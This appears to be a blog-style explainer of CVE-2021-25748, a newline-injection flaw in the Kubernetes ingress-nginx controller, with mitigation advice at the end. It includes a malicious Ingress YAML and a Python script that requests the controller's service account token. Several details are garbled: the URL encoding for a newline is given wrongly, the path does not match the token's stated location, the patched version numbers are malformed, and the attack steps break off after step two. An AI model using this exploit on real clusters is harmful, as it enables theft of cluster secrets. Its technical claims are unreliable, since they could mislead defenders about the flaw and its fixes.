CVE-2021-25748 - How A Simple Newline Character in Kubernetes Ingress Can Expose All Your Cluster Secrets

Kubernetes is powerful, but sometimes even small issues can snowball into major vulnerabilities. CVE-2021-25748 is a great example: just a newline character, slipped into a Kubernetes Ingress object, could let someone with basic access to create or update Ingresses steal the credentials of your ingress-nginx controller. In default setups, that credential gives access to every secret in your cluster. Let’s break it down, step by step, with simple code examples and an explanation anyone can follow.

🎯 What Is CVE-2021-25748?

This vulnerability hits clusters using ingress-nginx (the most popular Ingress controller) in Kubernetes. The flaw’s in how Ingress path strings are sanitized.

A user with permission to create or update an Ingress can inject a newline character (\n) into a path. This fools the controller's filtering logic, letting the Ingress point to internal resources meant to be protected—including the pod’s own secret tokens.

Official advisory:  
- CVE-2021-25748
- Kubernetes Issue Tracker

The Key: Newline Bypass in path

Normally, if you try to configure an Ingress so it serves sensitive files (like service account tokens inside the controller’s pod), validation will stop you. But the bug: the validator only looks for clear matches—*not* for tricky versions with newlines.

Here’s a malicious Ingress definition

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: evil-ingress
  namespace: default
spec:
  rules:
  - http:
      paths:
      - path: "/api\n..data..token"
        pathType: ImplementationSpecific
        backend:
          service:
            name: attacker-service
            port:
              number: 80

What's going on?

- The /api\n..data..token path is not what it seems!  
- The \n (newline) splits the URL string *after parsing*, so nginx interprets it differently—matching sensitive files, like:

`

/api

`

The usual path sanitization code only checks for ".." (directory traversal) or known dangerous patterns on the whole string. With a newline hiding the rest, it misses the trap!

Gaining Control: Stealing The Controller's Credentials

The ingress-nginx controller stores its service account token in /var/run/secrets/kubernetes.io/serviceaccount/token inside its pod. This token typically lets the controller read (or sometimes write!) all Secrets in the cluster by default.

With the malicious Ingress above, an attacker can hit

http(s)://<ingress-controller-address>/api..data..token

Because of how nginx parses requests and files, the attacker receives the actual token contents.

Attack steps in plain English

1. User creates a crafted Ingress (as shown above), with a path containing \n followed by dangerous traversal.
2. Ingress-nginx fails to correctly sanitize the value, allowing the path to reference secret files.

Reference code to automate the request (Python)

import requests

# Suppose that ingress-nginx is accessible via the load balancer at 1.2.3.4

url = "http://1.2.3.4/api%a..data..token";  # %a is URL encoding for \n

resp = requests.get(url)
print(resp.text)  # Outputs the service account token!

The controller’s service account usually has the right to read all cluster Secrets.

- Anyone who can create or modify an Ingress (even in different namespaces!) can exploit this in clusters running the vulnerable nginx controller.
- If an attacker steals the token, they can use kubectl to impersonate the controller and read any Secrets—even database passwords, API keys, etc.

🛡️ How To Fix

- Upgrade to a patched ingress-nginx version: v.49.2, v.48.1, or later (full list here)

Restrict RBAC permissions: Don’t let untrusted users create or modify Ingress objects.

- Review service account scopes: Limit what the ingress controller’s service account can do—but beware compatibility issues.
- See official mitigation steps

📚 Further Reading

- Original Advisory
- Kubernetes Issue
- Patch Pull Request
- Ingress-NGINX Docs

💡 Summary

*CVE-2021-25748* is a proof that even simple bugs (like missing newline sanitization) can open the door to cluster-wide compromise. If you’re running ingress-nginx, make sure you’re patched—because a single newline could leak every secret you have.

Timeline

Published on: 05/24/2023 17:15:00 UTC
Last modified on: 06/01/2023 20:44:00 UTC